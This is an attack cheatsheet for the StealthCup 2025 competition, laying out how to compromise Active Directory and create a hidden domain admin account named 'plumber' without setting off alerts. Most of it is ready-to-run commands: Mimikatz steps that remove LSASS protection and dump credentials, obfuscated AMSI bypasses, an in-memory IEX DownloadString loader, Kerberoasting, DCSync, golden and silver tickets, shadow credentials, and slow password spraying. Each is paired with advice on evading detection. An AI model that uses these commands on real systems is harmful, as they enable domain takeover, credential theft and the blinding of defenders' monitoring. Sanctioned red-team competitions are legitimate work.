StealthCup 2025: Active Directory Attack Cheatsheet

This cheatsheet provides techniques for attacking the Active Directory environment within StealthCup, focusing on achieving the **Enterprise Cup objective** (create `plumber` user with domain admin rights) while minimizing alerts.

Prerequisite: Some level of initial access/credentials obtained via reconnaissance or other means.

1. Stealthy AD Enumeration (Post-Credentials)

Once you have credentials (even low-privileged ones), enumerate AD more deeply but carefully.

- **PowerShell-Based Enumeration**: Leverage built-in AD cmdlets or tools like PowerView.
  - **Tools**: `PowerView.ps1`, Native AD cmdlets (`Get-ADUser`, `Get-ADGroup`, etc.)
  - **Example (PowerView - Find Domain Admins)**:

    ```
    # Import PowerView first
    Get-NetGroupMember -GroupName "Domain Admins" -Domain <domain_name>
    ```

  - **Example (Native - Find specific user)**:

    ```
    Get-ADUser -Identity <username> -Properties *
    ```

  - **Evasion Tip**: Run PowerShell commands in memory (`IEX (New-Object Net.WebClient).DownloadString(...)`). Avoid dropping scripts to disk. Use `powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden` for execution. Throttle queries to avoid generating excessive LDAP traffic. Use `-LDAPFilter` for targeted queries instead of fetching all objects.
- **LDAP Queries**: Use tools to perform raw LDAP queries.
  - **Tools**: `ldapsearch` (Linux), `AdFind.exe` (Windows), Python libraries (`ldap3`)
  - **Example (`ldapsearch` - Find Domain Controllers)**:

    ```
    ldapsearch -x -H ldap://<dc_ip> -D '<user_dn>' -w '<password>' -b
    '<base_dn>' '(userAccountControl:1.2.840.113556.1.4.803:=8192)' # Find
    DCs
    ```

  - **Evasion Tip**: Encrypt LDAP traffic (LDAPS/636 or StartTLS). Authenticate with valid credentials. Avoid overly broad queries.
- **BloodHound**: Excellent for visualizing attack paths but can be noisy during data collection (SharpHound).

  - **Tools**: `SharpHound.ps1` / `SharpHound.exe`, `BloodHound` GUI
  - **Example (SharpHound - Stealthy Collection)**:

    ```
    # Use specific collection methods, avoid full collection initially
    Invoke-BloodHound -CollectionMethod Group,LocalAdmin,Session -Throttle
    1000 -Jitter 30
    ```

  - **Evasion Tip**: Use `-Throttle` and `-Jitter` to slow down collection. Run SharpHound in memory. Consider collecting specific data types (`Group`, `Session`, `LocalAdmin`) incrementally rather than `All`. Analyze data offline.

2. AD Trust Relationship Enumeration and Exploitation

The competition environment includes multiple Active Directories with trusts. Understanding and exploiting these relationships can provide alternative paths to Domain Admin rights.

- **Trust Enumeration**: Identify and map trust relationships between domains.
  - **Tools**: PowerView, Native AD cmdlets, `nltest`
  - **Example (PowerView)**:

    ```
    # Enumerate domain trusts
    Get-NetDomainTrust

    # Get details about specific trust
    Get-NetDomainTrust -Domain <trusted_domain>
    ```

  - **Example (Native AD cmdlets)**:

    ```
    # List all domain trusts
    Get-ADTrust -Filter *

    # Get details of specific trust
    Get-ADTrust -Identity <trusted_domain>
    ```

  - **Example (nltest)**:

    ```
    # List domain trusts
    nltest /domain_trusts
    ```

  - **Evasion Tip**: Trust enumeration typically generates minimal alerts as it uses standard LDAP queries. Use authenticated sessions with valid credentials.

- **Trust Types and Security Implications**:

- **One-way Trust**: Domain A trusts Domain B, but not vice versa
- **Two-way Trust**: Domains A and B trust each other
- **Transitive Trust**: Trust extends to other trusted domains
- **Non-Transitive Trust**: Trust limited to directly connected domains
- **External Trust**: Trust between domains in different forests
- **Forest Trust**: Trust between entire forests

- **Trust Abuse Techniques**:

  - **SID History Abuse**: Exploit SID history attributes in cross-domain scenarios.

    ```
    # Identify users with SID history
    Get-ADUser -Filter {SIDHistory -like '*'} -Properties SIDHistory
    ```

  - **Transitive Trust Abuse**: Leverage multi-hop trusts to reach otherwise inaccessible domains.

    ```
    # Map complete trust path
    $domains = Get-NetDomainTrust | Select-Object -ExpandProperty
    TargetName
    foreach ($domain in $domains) {
        Write-Host "Trusts for: $domain"
        Get-NetDomainTrust -Domain $domain
    }
    ```

  - **Foreign Security Principal Enumeration**: Identify security principals from trusted domains.

    ```
    # Find foreign security principals
    Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -
    Properties *
    ```

  - **Evasion Tip**: Trust abuse is often less monitored than direct Domain Admin attacks, but still requires careful execution to avoid correlation alerts.

3. Credential Protection Bypass Techniques

Modern Windows environments implement credential protection mechanisms that must be bypassed for effective credential theft.

- **LSASS Protection Bypass**: Techniques to extract credentials despite LSA Protection.

  - **Tools**: PPLKiller, Mimikatz (with specific modules)
  - **Example (Bypass LSA Protection)**:

    ```
    # Using Mimikatz to bypass LSA Protection
    privilege::debug
    ```

```
!+
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
```

  - **Evasion Tip**: These bypasses are highly detected. Consider alternative credential access methods first.

- **Credential Guard Bypass**: For environments with Credential Guard enabled.

  - **Techniques**: Focus on extracting credentials from memory without touching protected regions.
  - **Example (Shadow Credentials Attack)**:

```
# Using Whisker to add shadow credentials (requires RBCD permissions)
Whisker.exe add /target:<target_account>
```

  - **Evasion Tip**: Instead of bypassing Credential Guard directly (high detection), target systems where it's not enabled or use token-based approaches.

- **AMSI Bypass for Credential Access**: Bypass Antimalware Scan Interface to run credential access tools.

  - **Example (AMSI Bypass)**:

```
# Simple AMSI bypass (will be detected by most EDRs)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFie
ld('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# More obfuscated approach
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'iUtils'
$assembly = [Ref].Assembly.GetType($a+$b+$c)
$field = $assembly.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)
```

  - **Evasion Tip**: AMSI bypasses are heavily monitored. Consider using compiled tools instead of PowerShell scripts when possible.

4. Privilege Escalation Techniques

Focus on methods less likely to be caught by standard EDR/AV.

- **Kerberoasting**: Request service tickets (TGS) for accounts with SPNs and crack them offline.

  - **Tools**: `GetUserSPNs.py` (impacket), `Rubeus.exe`, `Invoke-Kerberoast.ps1`
  - **Example (impacket)**:

```
GetUserSPNs.py <domain_name>/<username>:<password> -request -outputfile
kerberoast_hashes.txt
```

    - **Example (Rubeus - More Stealthy)**:

      ```
      # Request tickets one at a time
      Rubeus.exe kerberoast /user:svc_account /simple /outfile:ticket.txt
      ```

    - **Evasion Tip**: Request tickets one by one or in small batches. Avoid requesting tickets for highly privileged accounts (like krbtgt) directly if possible. Use valid user credentials.

- **AS-REP Roasting**: Target accounts with Kerberos pre-authentication disabled.

    - **Tools**: `GetNPUsers.py` (impacket), `Rubeus.exe`
    - **Example (Rubeus)**:

      ```
      Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
      ```

    - **Evasion Tip**: Target specific users rather than all domain users. Use valid credentials for authentication when possible.

- **Abusing GPO Permissions**: Look for GPOs you can edit to push malicious settings or scripts.

    - **Tools**: PowerView (`Get-NetGPO`, `Find-GPOComputerAdmin`, `Find-GPOLocation`)
    - **Example (Find GPOs you can modify)**:

      ```
      # Find GPOs where you have write access
      $username = "DOMAIN\username"
      Get-NetGPO | ForEach-Object {
          $gponame = $_.DisplayName
          $acl = Get-ObjectAcl -ResolveGUIDs -Name $_.Name
          $acl | Where-Object {$_.ActiveDirectoryRights -match "Write" -and
      $_.SecurityIdentifier.Translate([System.Security.Principal.NTAccount]).
      Value -eq $username}
      }
      ```

    - **Evasion Tip**: Modify existing GPOs subtly rather than creating new ones. Use fileless payloads in GPO scripts. Target specific OUs.

- **ACL/ACE Abuse**: Find objects where you have modification rights (e.g., `GenericAll`, `WriteDACL`).

    - **Tools**: PowerView (`Get-ObjectAcl`, `Add-ObjectAcl`), `BloodHound` (analyzes paths)
    - **Example (Grant DCSync rights if possible)**:

      ```
      Add-DomainObjectAcl -TargetIdentity "DC=<domain>,DC=<com>" -
      PrincipalIdentity <your_user> -Rights DCSync
      ```

    - **Evasion Tip**: DCSync rights are heavily monitored. Other less obvious ACL paths might exist (e.g., controlling a user/group that has rights). Modify ACLs carefully and revert if necessary.

- **Unconstrained Delegation Abuse**: If you compromise a server/user with unconstrained delegation, you can capture TGTs.
    - **Tools**: `Rubeus monitor /interval:5`, `Invoke-PowerShellTcp` (to relay session)
    - **Example (Monitor for TGTs with Rubeus)**:

    ```
    Rubeus.exe monitor /interval:5 /nowrap
    ```

    - **Evasion Tip**: Requires compromising a specific type of host. Monitor traffic passively if possible.

- **Password Spraying (Slowly)**: Try 1-2 common passwords against a list of users over a long period.
    - **Tools**: `Spray-Passwords.ps1`, `kerbrute passwordspray`
    - **Example (Kerbrute - Slow and Careful)**:

    ```
    # Spray one password with long delay between attempts
    kerbrute passwordspray -d <domain> --dc <dc_ip> users.txt Password123 -
    o spray_results.txt --delay 1800
    ```

    - **Evasion Tip**: VERY SLOWLY. Target non-privileged accounts first. Avoid lockout policies (e.g., 1 attempt per user per hour). Use different source IPs if possible.

5. Achieving Domain Admin Rights & Creating 'plumber'

- **Golden Ticket (Requires krbtgt hash)**: Create forged TGTs. Highly privileged, highly detected if done improperly.
    - **Tools**: `mimikatz`, `ticketer.py` (impacket)
    - **Example (Mimikatz)**:

    ```
    # Create golden ticket
    kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid>
    /krbtgt:<krbtgt_hash> /ticket:golden.kirbi

    # Use the ticket
    kerberos::ptt golden.kirbi
    ```

    - **Example (Impacket - More Stealthy)**:

    ```
    ticketer.py -nthash <krbtgt_hash> -domain-sid <domain_sid> -domain
    <domain> Administrator
    export KRB5CCNAME=Administrator.ccache
    ```

    - **Evasion Tip**: Obtain `krbtgt` hash via DCSync (if you have rights) or by compromising a DC. Use the ticket immediately and for specific actions. Don't use overly long ticket lifetimes.

- **Silver Ticket (Requires service NTLM hash)**: Create forged TGSs for specific services. Less powerful but potentially stealthier.

    - **Tools**: `mimikatz`, `ticketer.py` (impacket)
    - **Example (Mimikatz)**:

    ```
    # Create silver ticket for CIFS service
    kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid>
    /target:<server> /service:CIFS /rc4:<service_account_hash>
    /ticket:silver.kirbi

    # Use the ticket
    kerberos::ptt silver.kirbi
    ```

    - **Evasion Tip**: Target less critical services first (e.g., CIFS on a specific server).

- **DCSync (Requires specific rights)**: Dump credentials directly from a DC.

    - **Tools**: `mimikatz`, `secretsdump.py` (impacket)
    - **Example (Mimikatz)**:

    ```
    lsadump::dcsync /user:krbtgt
    ```

    - **Example (Impacket)**:

    ```
    secretsdump.py -just-dc <domain>/<user>:<password>@<dc_ip>
    ```

    - **Evasion Tip**: Requires specific AD rights (`Replicating Directory Changes`). Heavily monitored. Perform quickly and ideally from a trusted machine/context if possible.

- **Shadow Credentials Attack**: Add alternative credentials to accounts you have control over.

    - **Tools**: `Whisker`, `Rubeus`
    - **Example (Whisker)**:

    ```
    # Add shadow credentials to a target account
    Whisker.exe add /target:targetUser

    # Get TGT using the shadow credentials
    Rubeus.exe asktgt /user:targetUser /certificate:<base64_cert>
    /password:<password> /domain:<domain> /dc:<dc_ip> /ptt
    ```

  - **Evasion Tip**: This technique modifies the msDS-KeyCredentialLink attribute, which may be monitored but is less obvious than direct password changes.

- **Adding User to Domain Admins**: Once you have sufficient privileges (e.g., control over a DA account, ability to edit DA group membership via ACLs).

  - **Tools**: Native AD cmdlets (`Add-ADGroupMember`), `net group` command
  - **Example (PowerShell)**:

    ```
    Add-ADGroupMember -Identity "Domain Admins" -Members
    <your_controlled_user_or_plumber>
    ```

  - **Example (Command Line - Less Detectable)**:

    ```
    net group "Domain Admins" plumber /add /domain
    ```

  - **Evasion Tip**: Perform this action quickly after gaining necessary privileges. Consider adding to an intermediate group first if DA membership is heavily audited.

- **Creating the 'plumber' User**:

  - **Tools**: Native AD cmdlets (`New-ADUser`), `net user` command
  - **Example (PowerShell)**:

    ```
    # Create user
    New-ADUser -Name "plumber" -SamAccountName "plumber" -AccountPassword
    (ConvertTo-SecureString "<password>" -AsPlainText -Force) -Enabled
    $true
    # Add to Domain Admins (requires privileges)
    Add-ADGroupMember -Identity "Domain Admins" -Members "plumber"
    ```

  - **Example (Command Line - Less Detectable)**:

    ```
    # Create user
    net user plumber <password> /add /domain
    # Add to Domain Admins
    net group "Domain Admins" plumber /add /domain
    ```

  - **Evasion Tip**: Create the user with minimal attributes initially. Add to DA group as a separate step if needed. Use strong, non-default passwords.

- **Indirect Domain Admin Creation**: Create the user through less obvious paths.

  - **Example (Nested Group Membership)**:

```
# Create a new group
New-ADGroup -Name "IT Support Staff" -SamAccountName "ITSupportStaff" -GroupCategory Security -GroupScope Global

# Add the group to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "ITSupportStaff"

# Create plumber user
New-ADUser -Name "plumber" -SamAccountName "plumber" -AccountPassword (ConvertTo-SecureString "<password>" -AsPlainText -Force) -Enabled $true

# Add plumber to the intermediate group
Add-ADGroupMember -Identity "ITSupportStaff" -Members "plumber"
```

- **Evasion Tip**: Adding users to intermediate groups that have Domain Admin rights may be less monitored than direct Domain Admin additions.

6. Stealth Optimization for the 'plumber' User Creation

Creating a user with Domain Admin rights is a high-value target for detection. These techniques help minimize alerts during this critical phase.

- **User Creation Timing**: Create the user during periods of normal administrative activity.
  - **Example**: Create during business hours when IT staff typically perform account management.
  - **Evasion Tip**: Avoid creating accounts during unusual hours, which might trigger time-based anomaly detection.
- **Attribute Matching**: Match user attributes with existing users to blend in.
  - **Example**:

```
# Get attributes from an existing user
$template = Get-ADUser -Identity "existing_user" -Properties *

# Create new user with similar attributes
New-ADUser -Name "plumber" -SamAccountName "plumber" -DisplayName "Plumbing Services" -Description $template.Description -Department $template.Department -Company $template.Company -AccountPassword (ConvertTo-SecureString "<password>" -AsPlainText -Force) -Enabled $true
```

  - **Evasion Tip**: Matching attributes like department, description, and other fields makes the user appear more legitimate.
- **Staged Privilege Escalation**: Gradually increase privileges over time rather than immediate Domain Admin.

  - **Example**:

    ```
    # Day 1: Create normal user
    New-ADUser -Name "plumber" -SamAccountName "plumber" -AccountPassword
    (ConvertTo-SecureString "<password>" -AsPlainText -Force) -Enabled
    $true

    # Day 1 (later): Add to standard IT group
    Add-ADGroupMember -Identity "IT Department" -Members "plumber"

    # Day 2: Add to server operators
    Add-ADGroupMember -Identity "Server Operators" -Members "plumber"

    # Day 2 (later): Add to Domain Admins
    Add-ADGroupMember -Identity "Domain Admins" -Members "plumber"
    ```

  - **Evasion Tip**: Gradual privilege escalation may avoid triggering correlation alerts that look for sudden privilege changes.

General Evasion Tips for AD Attacks

- **Least Privilege**: Use the minimum necessary privileges for each action.
- **Credentials**: Avoid plaintext passwords in scripts; use hashes or tokens where possible.
- **Fileless Execution**: Run tools in memory whenever possible.
- **Traffic**: Use encrypted channels (LDAPS, SMB signing/encryption, WinRM HTTPS).
- **Timing**: Blend in with normal business hours or perform actions slowly over time.
- **Cleanup**: Revert ACL changes, remove persistence, clear obvious logs (if absolutely necessary and allowed by rules - check rules carefully!). Rule 16 forbids deleting logs/history.
- **Tool Selection**: Prefer built-in Windows tools over known offensive security tools.
- **Command Line Obfuscation**: Use techniques from the Command Obfuscation Cheatsheet to hide suspicious parameters.
- **Session Management**: Limit the number of concurrent sessions to avoid triggering threshold-based alerts.

Always consult the Alert Evasion Cheatsheet and Scoring System Cheatsheet.